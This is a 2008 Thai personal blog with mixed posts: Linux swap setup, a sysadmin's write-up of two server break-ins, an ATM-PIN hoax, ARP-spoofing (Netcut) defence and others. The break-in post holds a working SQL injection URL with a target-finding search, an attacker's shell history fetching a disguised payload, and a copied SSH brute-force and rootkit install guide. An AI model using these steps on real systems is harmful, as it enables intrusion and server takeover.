วันพุธที่ 27 สิงหาคม พ.ศ. 2551

Swap ใน Linux Ubuntu

Swap คืออะไร ?
Swap คือ ไฟล์ประเภทหนึ่งที่ทำหน้าที่เสมือนหน่วยความจำให้เราใช้
และจำทำงานเมื่อ RAM ในเครื่องจริง ๆ ถูกใช้งานหมด
(แต่แน่นอนว่ามันเป็น disk มันก็ต้องทำงานช้ากว่า RAM อยู่แล้ว)
นอกจากนั้น swap จะทำหน้าที่หลักเหมือนเป็น RAM สำรองแล้ว swap ยังใช้ในการ
optimize การใช้ RAM รวมถึง การทำ Hibernation ด้วย

การสร้าง swap แบบ Manual
สร้าง swap file โดยคำสั่ง
root# dd if=/dev/zero of=/mnt/512Mb.swap bs=1M count=512
dd = โปรแกรม ที่ใช้ในการ convert และ copy file
bs=1M หมายถึง ขนาดแต่ละบล็อค เท่ากับ 1 Mb.
count = 512 หมายถึง มีจำนวน 512 บล็อค

จากนั้นจัดการ format file นี้ ให้เป็น swap file system โดยคำสั่ง
root# mkswap /mnt/512Mb.swap

จัดการ run swap ที่เราสร้างขึ้นมา
root# swapon /mnt/512Mb.swap

ตรวจสอบผลการ add swap ได้จาก คำสั่ง
root# cat /proc/meminfo

หรือ ใช้
root# fdisk -l | grep swap
หรือ
root# free

ทีนี้ เวลาเรา boot เครื่องใหม่ swap มันก็หายไปอีก
เราสามารถ add swap ให้ add ลงในระบบอัตโนมัติ โดยการแก้ไข file

root# vi /etc/fstab
แล้วก็เพิ่มบรรทัดนี้ /mnt/512Mb.swap none swap sw 0 0

แล้วก็ reboot ระบบ เพื่อดูผล

หรือในกรณีที่เรามี partition สำหรับทำ swap อยู่แล้ว แต่มันอาจจะไม่ได้ add ลง ระบบ
เราสามารถจัดการได้ดังนี้

สั่ง root# fdisk -l | grep swap
เพื่อตรวจสอบ swap partition ก่อน สมมุติว่า swap partition เป็น hda3

จากนั้น จัดการ /etc/fstab ให้มีบรรทัดนี้
/dev/hda3 none swap sw 0 0

เรา re-enable swap ได้ดังนี้
root# swapoff -a
root# /sbin/mkswap /dev/hda3
root# swapon -a

วันอังคารที่ 26 สิงหาคม พ.ศ. 2551

เมื่อถึงคราวถูก Hack!!

เมื่อถึงคราวถูก Hack!!

(PSU Link: http://netserv.cc.psu.ac.th/home2/index.php?option=com_content&task=view&id=412&Itemid=27 )

ตั้งแต่มีโอกาสได้ช่วยดูแล server ก็มีเหตุการณ์ถูก hack ด้วยกัน 2 ครั้ง ผมก็เลยอยากแบ่งปันประสบการณ์ให้ครับ

ครั้งแรก เมื่อปีที่แล้ว จำไม่ได้ว่าวันไหน หน้า web page โดนเปลี่ยน จาก hacker ตอนที่หาสาเหตุครั้งนั้นพบว่า เป็น bug calendar component ของ mambo ที่ไม่ได้ update ครับ ซึ่งการถูกเจาะระบบในครั้งนั้นทำให้ได้ความรู้มาดังนี้

เริ่มกระบวนการเจาะระบบ
1. หา web site ที่มีช่องโหว่ของ bug ตัวนี้ด้วย
Google ==> http://www.google.co.th/search?q=inurl:func%3Dselectcat+%2B+com_remository&hl=th&start=0&sa=N

2. วิธีการทำ SQL Injection เพื่อดู user/passwd
=> http://TargetHost/index.php?option=com_remository&func=selectcat&cat=64549999%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),0,0,0%20from%20mos_users/*

3. passwd ที่แสดงนั้นจะถูกเข้ารหัสทางเดียวแบบ MD5 ถ้าใครตั้ง passwd ง่าย ๆ ก็มีโอกาสที่จะค้นหาเจอ
โดยให้เราเอา passwd ที่ได้ไปค้นหาใน
=> http://www.tmto.org/?category=main&page=search_md5

4. เมื่อได้ user/pass มาแล้ว เราก็สามารถ login เข้า mambo ได้แล้ว
โดย login ผ่าน
http://---Host name หน้าหลัก---/
หรือ
http://---Host name หน้าหลัก---/administrator/ (กรณีที่รู้ passwd ของ admin)

วิธีป้องกัน
ให้ตั้ง passwd ให้ยาก ๆ และ update software mambo ให้เป็น version ใหม่ ๆ ครับ

เพิ่มเติม เพื่อความปลอดภัยของ Mambo site ของท่าน
1. เวลาติดตั้ง mambo อย่าลืม change mode file configuration.php เป็น 644 ด้วยน่ะครับ
2. อย่าติดตั้ง component เสียงภัยเหล่านี้
http://help.mambohub.com/component/option,com_frontpage/Itemid,2/index.php?option=com_content&task=view&id=232&Itemid=1





ครั้งที่ 2 ผมได้รับ mail แจ้งจาก ผู้ดูแลระบบ ที่หาดใหญ่ว่า เครื่อง mail server ได้ run bot mIRC แล้วส่งข้อมูลไปรบกวนในลักษณะ DDoS เจ้า bot ตัวนี้ ชื่อว่า energymech


> There are connections from your netspace connected to our
> network and it appears that these host(s) have been
> compromised and had an Energymech (emech bot)installed on
> it, the connections are also controllable by one or a group
> of persons and is being used as part of a botnet, which is
> involved in flooding and very likey used in other illegal
> activities, and can and likely be used in Ddos (Distributed
> denial of service) attacks against innocent users.


ผมก็ไม่รอช้า รีบเข้าไปตรวจสอบร่องรอย โดยใช้ netstat เพื่อตรวจสอบ
network connection ว่ามีเครื่องไหนใช้ port 666x บ้าง เพราะ เจ้า bot ตัวนี้
จะทำงานที่ port 666x ก็พบว่าโดนเข้าให้แล้วครับ



root@mail:/var/tmp# netstat -tna grep 666
tcp 0 40 172.26.0.8:34802 69.16.172.40:6666 FIN_WAIT1
tcp 0 0 172.26.0.8:54453 82.196.213.250:6660 ESTABLISHED
tcp 0 1 172.26.0.8:49826 129.27.9.248:6660 SYN_SENT
tcp 0 40 172.26.0.8:45078 193.109.122.67:6660 FIN_WAIT1
tcp 0 1 172.26.0.8:45048 194.109.20.90:6667 SYN_SENT
tcp 0 0 172.26.0.8:37625 195.144.12.5:6669 ESTABLISHED
tcp 0 1 172.26.0.8:42750 195.47.220.2:6667 SYN_SENT
tcp 0 1 172.26.0.8:50350 195.68.221.221:6667 SYN_SENT





จากนั้นผมก็ไม่รอช้า รีบค้นหาเลยว่า ไอโปรแกรมที่มันเปิด port นี้ มันอยู่ที่ไหน
โดยใช้คำสั่ง LiSt Open File => lsof –i tcp: ตามด้วยหมายเลข port ที่เราต้องการจะตรวจสอบ




root@mail:/var/tmp# lsof -i tcp:6667
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
linux 31140 root 1u IPv4 4403060 TCP mail.coe.phuket.psu.ac.th:55573->irc2.saunalahti.fi:ircd (SYN_SENT)
linux 31140 root 2u IPv4 4403062 TCP mail.coe.phuket.psu.ac.th:48111->zagreb.hr.eu.undernet.org:ircd (ESTABLISHED)
linux 31140 root 4u IPv4 4403064 TCP mail.coe.phuket.psu.ac.th:41608->oslo1.no.eu.undernet.org:ircd (SYN_SENT)



พบว่าโปรแกรมที่เปิด port 6667 ก็คือโปรแกรมที่ชื่อว่า linux ครับ

ผมลองตรวจสอบดูว่า user คนไหน ที่บังอาจมา run โปรแกรม นี้ โดยใช้คำสั่ง ps ก็พบว่า user ชื่อ demo ครับ


root@mail:/var/tmp# ps axuw grep linux
demo 31140 0.0 0.0 1880 608 ? Ss 22:15 0:00 ./linux


ผมก็เลยแก้ไขโดยการปิด process ด้วยคำสั่ง


root@mail:/var/tmp# killall linux


เนื่องจากว่าเจ้า energymech มันจะมี file m.set อยู่ ผมก็เลย ลองค้นหา file นี้ในเครื่องของผมโดยใช้คำสั่ง find ครับ ก็เจอของดีเลย


root@mail:/home/wwarodom# find / -name *.set
/home/test/.. /.t/m.set
/var/tmp/.,/cobrel/raw.set
/var/tmp/m.set


ผมลองเข้าไปดูใน /var/tmp พี่แก มี source ของ enerymech แล้ว มา compile + run ในเครื่อง server นี้เลย เก๋าจริง ๆ

จากนั้น ผมลองเข้าไปใน /home/demo/ ก็ไม่เจอ ไฟล์ linux แต่ก็เลยลองไปคุ้ยใน .bash_history เจอของดีที่ทำให้ผมรู้ว่ามันเจาะระบบผ่านทาง SSH Brute Force ครับ


root@mail:/home/demo# more .bash_history
w
cat /proc/cpuinfo
passwd
ps x
cd /tmp
ls -a
tar xvf nonmin.tar.tar
cd nonmin
./Scan 210.243
./Scan 64.22
./Scan 133.38
./Scan 221.148
./Scan 210.87
./Scan 213.77
./Scan 79.189
./Scan 87.239
cd /var/tmp
perl
tar xvf diana.jpg
ls -a
cd
ls -a
wget members.lycos.co.uk/chicka/diana.jpg
ls -a
rm -rf diana.jpg
cd /var/tmp
./linux
chmod +x *
./linux
passwd
ps x
cd /var/tmp
ls -a
./linux


แหม พี่แกเข้ามาถึงปุ๊บ ดู cpu เราก่อนเลยนะ สงสัยกำลังคิดว่า ถ้า cpu แรง ๆ คงไว้ยิงชาวบ้านเค้าได้เต็มที่ แต่คงต้องผิดหวังละครับ เพราะเจ้า mail server เครื่องนี้ไม่ได้แรงมาก ฮ่า ๆ ๆ จากนั้นพี่แกก็เอาเครื่อง server นี่แหละ ไปยิงหาช่วงโหว่ชาวบ้านเค้า เพื่อตัวเองจะแอบไปใช้ต่อ เลวจริง ๆ จากนั้นพี่แกก็เอาไอเจ้า bot ตัวนี้แหละ ลงในเครื่อง server (ตั้งชื่อ file .tar เป็น .jpg เท่ห์มากเลยนะจ๊ะ) แล้วก็ run bot irc เลยนะ

ตรวจสอบดูอีกครั้ง user พบว่า user test ก็โดนด้วยครับ



root@mail:/home/test# lsof -u test
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
bash 5607 test cwd DIR 8,1 4096 368723 /home/test/.. /.t
bash 5607 test rtd DIR 8,1 4096 2 /
bash 5607 test txt REG 8,1 397274 368725 /home/test/.. /.t/bash
bash 5607 test mem REG 8,1 67408 6824107 /lib/tls/i686/cmov/libresolv-2.7.so

root@mail:/home/test# ps axuw grep bash
test 5607 0.0 0.0 2024 976 ? Ss Aug17 0:23 bash
root 30824 0.0 0.0 4156 1832 pts/0 Ss+ 21:53 0:00 -bash
root 31088 0.0 0.0 4204 1872 pts/1 Ss 22:10 0:00 -bash
root 31276 0.0 0.0 3008 776 pts/1 S+ 22:31 0:00 grep bash


แถมอันนี้พี่แกตั้งชื่อโปรแกรม ว่า bash หลอกให้เราคิดว่าเป็น shell ด้วย!!
ผมก็จัดการ


root@mail:/home/test# kill -9 5607


ผมลอง cross check อีกครั้ง ด้วยคำสั่ง last ก็พบว่า เจ้านี่ มันเข้ามาในระบบเราจริง ๆ ด้วย



root@mail:/home/demo# last grep demo
demo pts/2 host225-57-dynam Mon Aug 25 22:33 - 22:33 (00:00)
demo pts/2 host20-31-dynami Fri Aug 15 23:20 - 01:52 (02:31)
demo pts/1 121.14.139.26 Fri Aug 15 23:20 - 23:29 (00:09)
demo pts/0 60-250-3-222.hin Wed Aug 13 01:54 - 01:54 (00:00)

เอ๊ะ ๆ มอง IP ที่มาไม่ชัด เอาใหม่ ดีกว่า



root@mail:/home/demo# last -a grep demo
demo pts/2 Mon Aug 25 22:33 - 22:33 (00:00) host225-57-dynamic.16-87-r.retail.telecomitalia.it
demo pts/2 Fri Aug 15 23:20 - 01:52 (02:31) host20-31-dynamic.52-82-r.retail.telecomitalia.it
demo pts/1 Fri Aug 15 23:20 - 23:29 (00:09) 121.14.139.26
demo pts/0 Wed Aug 13 01:54 - 01:54 (00:00) 60-250-3-222.hinet-ip.hinet.net

root@mail:/home/demo# last -a grep test
test pts/0 Sun Aug 17 03:13 - 03:30 (00:16) 89.123.129.136
test pts/0 Sat Aug 16 22:01 - 23:39 (01:38) 89.238.202.216
test pts/1 Wed Aug 6 14:47 - 14:48 (00:00) 89.238.202.216
test pts/0 Sun Aug 3 21:14 - 21:14 (00:00) 221.208.255.225
test pts/1 Sun Aug 3 06:02 - 08:02 (02:00) 83.143.38.157
test pts/1 Sun Aug 3 05:49 - 06:02 (00:12) 83.143.38.157


คราวนี้เห็นชัดแล้ว ว่า IP + DNS อะไร ผมก็เอาไปถามใน http://www.ip2location.com/ ว่า มันเจาะระบบมาจากประเทศไหน
ก็พบว่ามาจาก อิตาลี่ , โรมาเนีย, ไต้หวัน, จีน เยอะแยะไปหมด แสดงว่า คงมีอีกหลายเครื่องที่โดนเจ้านี่
เจาะระบบโดย SSH Brute Force Attack ซึ่งคงจะจับตัวการลำบาก เพราะเจ้าตัวการจริง ๆ คงจะไม่ได้อยู่
ในประเทศที่ไปค้นหานี่ก็ได้

สรุปตอนนี้ คือ เจ้า hacker นี้ ได้เจาะระบบ เข้ามาทาง port 22 โดยใช้ SSH Brute Force Attack
จากนั้นก็ จัดการ วาง bot IRC ไว้ ซึ่งผมก็แก้ไข โดยการ end process ที่มีปัญหาทิ้งไป และ จัดการลบ user
ที่เป็นสาเหตุของการโดน hack

จริง ๆ แล้ว เรื่องการตั้ง รหัสผ่าน ให้ยาก ๆ เนี่ย ก็รู้อยู่เต็มอก แต่อาจจะเนื่องจากการรีบเร่ง อยากทดสอบระบบ
ที่ได้พัฒนาขึ้นแบบง่าย ๆ เลยตั้ง user/ password ให้ง่าย ๆ พอทดสอบเสร็จก็ลืม ลบ user นี้ออก
ทำให้เกิดปัญหานี้ขึ้นมา ยังดีนะ ที่มันยังไม่ได้ root password

วิธีป้องกัน
- อย่าตั้ง user/pass ที่สั้นเกินไปและมีใน dictionary
- ติดตั้ง Antivirus (ClamAV) + IDS (snort + snarf)
- อนุญาตให้ใช้ ssh ได้เฉพาะบาง user ที่จำเป็นเท่านั้น
- Update program ให้ทันสมัยอยู่เสมอ
- ถ้าเป็น server ที่สำคัญมาก ๆ ควรเอา tool พวก compiler, wget ออก เพื่อให้ยากแก่การทำงานของ hacker

ความรู้เกี่ยวกับการทำ SSH Brute Force Attack
บางคนอาจจะสงสัย ว่า “SSH Brute Force” คืออะไร? ถ้าให้ตอบง่าย ๆ ก็คือ การ hack ระบบโดยการ นำข้อมูลจากใน dictionary มาทดลองดู ถ้าระบบใช้ user ที่มีใน dictionary ก็เรียบร้อยครับ

ถ้าใครอยากลองก็ทำตามนี้เลยครับ ใน sshteam.tgz จะเป็นโปรแกรมที่ติดต่อ port ssh แล้ว เอา user/pass ใน dictionary ไปทดสอบว่า ถูกต้องหรือไม่

Hacking skills in a few steps Smile (BRUTE FORCE SSH SCANNER)
1) First you have to download the scanner file with command:
wget http://geocities.com/dapheus/sshteam.tgz
2) tar zxvf sshteam.tgz
3) Enter the scanner folder using command cd sshscan
4) Type ./start B-class
5) Example: ./start 147.237
6) Scanner will scan all machines with ip 147.237.*.* for ssh22 port
7) Then start bruting/cracking password of eah box Cool The scanner will paste you the results on the main of your screen
8) If you gain root, you should install rootkit: wget http://geocities.com/dapheus/shv5.tar.gz
9) ar zxvf shv5.tar.gz
10) d shv5
11) ./setup Whoala, you have root! SSH to IP and port you chose.
( ก่อน download โปรแกรมจะต้อง ปิด Anti-Virus ก่อนนะครับ ไม่งั้น file ที่ load มาจะถูก An-ti virus ลบทิ้งไปโดยอัตโนมัติ)
Reference: http://hackhound.org/forum/index.php?topic=998.0
อันนี้ไม่ได้ให้มือใหม่ ไปหัดใช้ยิงเพื่อนคนอื่น ๆ นะ ครับ ผมอยากให้เอาไปใช้ทดลองเพื่อความรู้ของตัวเอง โดย ทดสอบในวงระบบเครือข่ายส่วนตัวเท่านั้น อย่าไปทดสอบกับระบบจริงข้างนอก ไม่งั้นเพราะ ผู้ดูแลระบบข้างนอกเค้าตรวจสอบได้นะครับ
หวังว่าคงจะมีประโยชน์กับผู้ที่เข้ามาอ่าน และ ครั้งนี้คงเป็นครั้งสุดท้ายที่โดน hack ครับ

สรุปโดย

วโรดม วีระพันธ์ (wwarodom at gmail.com)

วันศุกร์ที่ 22 สิงหาคม พ.ศ. 2551

รหัสผ่าน ATM ที่ forward mail กัน

ข้อความใน Forward Email:

ถ้าคุณถูกบังคับ ข่มขู่เงินจากโจรผู้ร้าย ให้กดเงินให้คุณผ่าน ATM ให้คุณกด รหัส กลับกัน เช่น รหัสของคุณคือ 1234 แต่ให้คุณกด 4321 แทน เครื่องจะออกเงินมาให้คุณตามจำนวนที่คุณเบิก โจรจะไม่ทราบ แต่ตำรวจจะทราบ แล้วจะเข้าช่วยเหลือคุณ

ข้อมูลนี้ถูกเผยแพร่ผ่านรายการโทรทัศน์ และถูกยืนยันว่าวิธีการนี้ถูกใช้น้อยมาก เพราะว่าคนไม่รู้มีวิธีการอย่างนี้

คำอธิบาย:

ผมเคยได้รับ mail ฉบับนี้มาหลายครั้งแล้ว และอยากบอกว่ามันไม่เป็นความจริงหรอกครับ
ลองคิดโดยใช้ logic ง่าย ๆ ถ้าหาก ผมตั้งรหัสผ่านเป็น paralindrom ละ เช่น 5225, 1122, 1221 แบบนี้ ธนาคารก็ต้องคิดว่าโดนโจรจี้ตลอดสิ

อีกอย่าง ถ้าเงินออกมาแล้ว เกิดจับผู้ร้ายไม่ได้ ใครจะรับผิดชอบ ธนาคาร หรือ ลูกค้า?และ ถ้าลูกค้าโกหกว่าโดนจี้ ธนาคาร จะตรวจสอบได้อย่างไรครับ? etc....


Forward Mail ก็มีทั้งเรื่องจริง และ ไม่จริง เดี๋ยวนี้เวลาอ่านก็ต้องคิดให้ดี ๆ นะครับ ไม่จำเป็นต้องเชื่อไปทุกเรื่อง

วันพฤหัสบดีที่ 21 สิงหาคม พ.ศ. 2551

บทความที่เคยเขียนไว้

Recursive Programming:

ไม่รู้ว่า web KnowDev.com เอามาลงไว้ตั้งแต่ตอนไหนนะ ^_^
http://www.knowdev.com/articleshis.php?contentid=186

คำถามน่าสนใจของ Java
http://www.jarticles.com/quiz/quiz1/quiz1_article.html

ว่าด้วยเรื่อง 802.1i, 802.11i, 802.1x และ 802.11x

ผมคิดว่าหลาย ๆ ที่เคยไปอ่านบทความเกี่ยวกับ WiFi Protected Access (WPA)คงจะงง กับมาตรฐานเหล่านี้ไม่น้อย และ ผมก็มากระจ่างในวันนี้ครับ

เริ่มเลยดีกว่า
- 802 Project คืออะไร? 802 คือ series ของ IEEE Local และ มาตรฐานของ MAN
- 802.1 อ้างอิงถึง สถาปัตยกรรมรวมไปถึงการเทคนิคเชื่อมต่อของระบบเครือข่ายต่าง ๆ ซึ่งก็ถูกปรับเปลี่ยนเป็น LAN
- 802.3 อ้างอิง ถึง Ethernet LAN802.11 อ้างอิง ถึง WLAN
- 802.1x (ปี 2001) กำหนด Port Access Control สำหรับทุก ๆ LANs
- 802.11i (ปี 2004) กำหนด security enhancements สำหรับทุก ๆ WLANs

แล้ว 802.1i ละ?
IEEE 802.1i (ปี 1992) เป็นมาตรฐานที่มีมานานมาก ซึ่งกำหนดเกี่ยวกับ Fiber Distributed Data Interface (FDDI) สำหรับ LAN Media Access Control Bridges.

มาตรฐานการเข้ารหัสแบบใหม่ของ TKIP และ AES กำหนดเป็น 802.1x ซึ่งก็คือ port based authentication อ้าวแล้ว 802.11x ละ? 802.11x ใช้กำหนด โครงการย่อย ๆ ของ 802.11 ที่ยังไม่ได้คิดเป็นมาตรฐานออกมาหรือ คล้ายๆ xDSL นั่นเอง กำหนดเป็น ADSL, VDSL, HDSL etc ...

สรุปปิดท้าย ถ้าพูดถึง security WPA ก็ต้องเป็น 802.11i แต่ถ้าเน้น port base authen ก็ต้องเป็น 802.11i ครับผม

Reference: http://expertanswercenter.techtarget.com/eac/expertAnswer/0,295208,sid63_gci996335,00.html

วันพุธที่ 20 สิงหาคม พ.ศ. 2551

เรื่องราวของ Netcut


เรื่องราวของ Netcut
เมื่อมีคนใช้โปรแกรมนี้ก่อกวนเราจะทำอย่างไร?

ก่อนอื่นมาวิเคราะห์หาสาเหตุกันก่อน
Netcut ใช้หลักการ arp spoofing (หรือแหลงภาษาบ้าน ๆ ก็คือ การปลอม MAC address นั่นเอง)
cracker สามารถใช้ net cut ในการปลอมแปลง MAC address โดยการส่ง ARP Reply ไปบอก router ว่า MAC เครื่องเรา มี IP เป็นของเครื่อง cracker (พูดง่าย ๆ ก็คือ ไปขโมย MAC addr จากเครื่องเรามาใช้) นั่นก็แสดงว่า เฟรมที่ถูกส่งมาจาก Router ด้วย MAC addr เรา ก็จะวิ่งไปยัง IP ที่ cracker ได้ไป Map ไว้ใหม่กับ MAC addr ของเรา การกระทำเช่นนี้ เราเรียกเป็นศัพท์เท่ห์ (แต่อย่าทำนะครับ) ว่า Man-in-the-middle attack ครับ

และ cracker ไม่จำเป็นต้องทำเช่นนั้นเสมอไป เพราะ cracker สามารถเปลี่ยน MAC addr ของเราไปเป็น IP อื่น ๆ ซึ่งอาจจะไม่ได้เชื่อมต่อในระบบเครือข่าย หรือ เปลี่ยน MAC addr ของ Default Gateway เราให้มีค่าไม่ถูกต้อง ทำให้ เราไม่สามารถใช้งาน internet ได้นั่นเอง

ที่เขียนอย่างนี้ ไม่ได้หมายความว่า cracker สามารถมาแก้ข้อมูลใน ARP cache ของเรา โดยตรง แต่ cracker อาศัยหลักการทำงานของ Ethernet ว่า ก่อนที่ใครจะส่งข้อมูลก็จะต้องมีการถาม MAC addr ก่อน เช่น เครื่องเรา ต้องการติดต่อไปที่ www.google.com แน่นอน ว่า เมื่อถาม Routable มันก็ต้อง route ไปที่ IP ของ Gateway เครื่องเรา แต่ถ้าเครื่องเราไม่ได้ กำหนด MAC addr ไว้เป็นแบบ static เครื่องเราก็จะ broadcast message โดย ARP Request ไปถามในระบบเครือข่ายว่า IP Gateway ที่ กำหนดไว้ในเครื่องเราตรงกับ MAC addr ของใคร ถ้าในเหตุการณ์ปรกติ เครื่อง Router ก็จะส่ง ARP Response ตอบข้อความให้กับเรา แล้วเราก็นำ MAC addr ตัวนั้นไปเก็บใน ARP cache และส่งข้อมูลผ่านไปยัง Router แต่ ถ้ามีเครื่อง cracker ที่ run netcat ไว้ มันก็จะพยายามแย่งตอบ MAC addr ของ Router ที่ผิด ๆ มาให้เครื่องเรา register ใน ARP cache ทำให้ เครื่องเรา ส่งข้อมูลผ่านไปยัง IP ที่ผิด ๆ นั้นไป และ ไม่สามารถส่งข้อมูลออกไปยังระบบเครือข่ายข้างนอกได้ครับ ( จริง ๆ แล้วต้องบอกว่าส่งได้ แต่มัน Route ไปผิดที่มากกว่า )

โปรแกรมนี้ ใช้งานได้กับ อุปกรณ์ทุกตัวที่มี MAC addr รวมไปถึง Switch ต่าง ๆ ด้วยครับ

ดังนั้นวิธีป้องกัน มีดังนี้
- Block ด้วย Firewall ไม่ให้ ping ได้ , ไม่ให้ scan port ได้ หรือ ที่มันฉลาดพอที่จะป้องกัน arp cache ของเราได้
- กำหนด MAC ให้เป็นแบบ static จะได้ไม่โดนเปลี่ยน
Windows:
c:\> arp -a [ เพื่อตรวจสอบดูว่า gateway เรา มีค่า MAC addr เป็นอะไร ต้องทำก่อนที่จะโดน netcut นะครับ ]
c:\> arp -s 192.168.193.xxx 00-0f-8f-2a-dc-xx
[ เพื่อ เพิ่ม MAC ADDR 00-0f-8f-2a-dc-xx ที่ match กับ IP 192.168.193.xxx เป็นแบบ static ]
c:\> arp -a [ เพื่อตรวจสอบดูค่า MAC addr อีกครั้ง ]
ถ้าโดน netcut เล่นงานไปแล้ว ให้สั่ง arp -d เพื่อลบ MAC addr เก่าที่ผิดไปก่อน
เพิ่มเติม arp /?

Linux:
# arp -a
# arp -i eth0 -s 192.168.193.xxx 00-0f-8f-2a-dc-xx
# arp -anv เพิ่มเติม #man arp

- run anti-netcut โปรแกรมนี้ ผมเดาเอาว่ามันน่าจะใช้วิธีแข่งกัน update ARP response กับ netcut เพื่อไม่ให้ใช้ค่า MAC addr ที่ผิด ๆ ไป พอแข่งกันยิง ARP มันก็ทำให้ Traffic jam มากกว่าเดิม แถมต้องเสียเวลา CPU กับ RAM ไปในสิ่งที่ไม่ควรจะเสียอีกด้วย

run netcut ทำเพื่ออะไร?
- เพื่อทดสอบการทำงานของ ARP Protocol [ดี]
- เพื่อต้องการใช้ Bandwidth คนเดียว โดยการปลอม MAC addr ของ Router ที่ผิดไปบอกชาวบ้านในวง LAN ทำให้ ไม่มีใครสามารถใช้งานระบบเครือข่ายข้างนอกได้ เนื่องจาก cracker รู้ MAC addr ของ Router จริง ๆ เพียงผู้เดียว [ไม่ดี]

วิธีหาผู้ร้าย
ให้ run โปรแกรมพวก sniffer ต่าง ๆ เช่น Wireshark (คิดว่าคงได้ลง Lab กันไปแล้ว) แล้วสังเกตว่าเครื่องไหน broadcast arp packet เยอะผิดปรกติ ก็ตั้งสมมุติฐานไว้ได้เลยครับหรือ ถ้าเครื่องไหน มี MAC addr หลาย ๆ ตัว ที่ จับคู่กับ IP ตัวเดียว ก็เครื่องนั้นแหละ Netcut run อยู่แน่ ๆ

วิธีแก้ปัญหา
หากจับได้ว่าใคร แอบ Run Netcut อย่าคิดไปทำกลับครับ (ไม่มีประโยชน์) ให้ Capture หน้าจอนั้นไว้แล้วส่ง Mail ไปฟ้องผู้ดูแลระบบให้ลงโทษกับคนที่ประพฤติตัวเช่นนี้ครับ

พระราชบัญญัติ ว่าด้วยการกระทำความผิดเกี่ยวกับคอมพิวเตอร์ พ.ศ. ๒๕๕๐ที่เกี่ยวข้องกับโปรแกรม Netcut
มาตรา 10 ผู้ใดกระทำด้วยประการใดโดยมิชอบ เพื่อให้การทำการของระบบคอมพิวเตอร์ของผู้อื่นถูกระงับ ชะลอ ขัดขวาง หรือ รบกวนจนไม่สามารถทำงานตามปกติได้ต้องระวางโทษจำคุก ไม่เกินห้าปี หรือปรับไม่เกินหนึ่งแสนบาท หรือ ทั้งจำทั้งปรับ

วันศุกร์ที่ 15 สิงหาคม พ.ศ. 2551

คำหยาบของภาษาฝรั่งเศส

รู้ไว้ จะได้รู้เวลาโดนใครด่า ^_^

Fuck you - vas te faire encule
Damn - à deux balles
Shit - merde
Prick - piquer
Vagina - vagin

การต่อทะเบียนรถมอเตอร์ไซค์

การทะเบียนรถมอเตอร์ไซค์ขนส่งจังหวัดภูเก็ต
เอกสารในการต่อทะเบียนใช้ทะเบียนรถ + ค่าต่อทะเบียน 100 บาท
ค่าทำพรบ. ประมาณ 300 บาท
ค่าตรวจสภาพรถ ประมาณ 60 บาท หาร้านที่มี logo ตรอ.
ค่าปรับ เดือนละ 1 บาท

การต่อทะเบียนรถ ห้ามให้ทะเบียนรถขาดนานเกิน 3 ปี ไม่งั้นจะต้องโดนจดทะเบียนรถใหม่ พร้อมทั้งจ่ายค่าภาษีย้อนหลัง และ จะต้องทำที่จังหวัดที่ทะเบียนรถได้จดทะเบียนไว้ด้วย หรือ เราจะแจ้งหยุดการใช้งานรถก่อนก็ได้ แต่ถ้ามาเปิดการใช้งานใหม่ ก็โดนจ่ายภาษีย้อนหลังอยู่ดี แต่สิ่งที่แตกต่างกันก็คือ ไม่จำเป็นต้องจดทะเบียนใหม่ แต่มันก็ไม่ได้ต่างกันมากหรอก เพราะว่า การแจ้งหยุด หรือ เปิดใหม่ มันก็ต้องทำที่จังหวัด ที่ทะเบียนรถได้จดไว้ด้วย -_-"

สงสัยเพิ่มเติม โทร: 076-214929

วันพฤหัสบดีที่ 14 สิงหาคม พ.ศ. 2551

NS-2 802.11e HCCA

วันนี้ได้คุยกับคุณโดม (KU) ผู้เชี่ยวชาญ IEEE 802.11e
เค้าทดลองโดยใช้ NS-2 โดยใช้ Patch ของคนนี้ครับ

http://info.iet.unipi.it/~cng/ns2hcca/

วันอาทิตย์ที่ 3 สิงหาคม พ.ศ. 2551

รวบรวมข้อมูลไว้ก่อน กันลืม

..:: My Profile ::..

Warodom 's Official Web Site (ไม่ได้ปรับปรุงสักที -_-" )
http://plex.coe.psu.ac.th/

PleX's Music Life, (Blog สมัย เขียนใน Manager นานมาแล้ว)
http://www.mastonline.com/publichome/wwarodom/

Photos Album
http://picasaweb.google.com/wwarodom/

..:: My Communities ::..

Guitarist Web Site สำหรับคนที่รักในเสียงเพลง
http://guitarist.vze.com/

CoE9 Webboard
http://coe9.vze.com/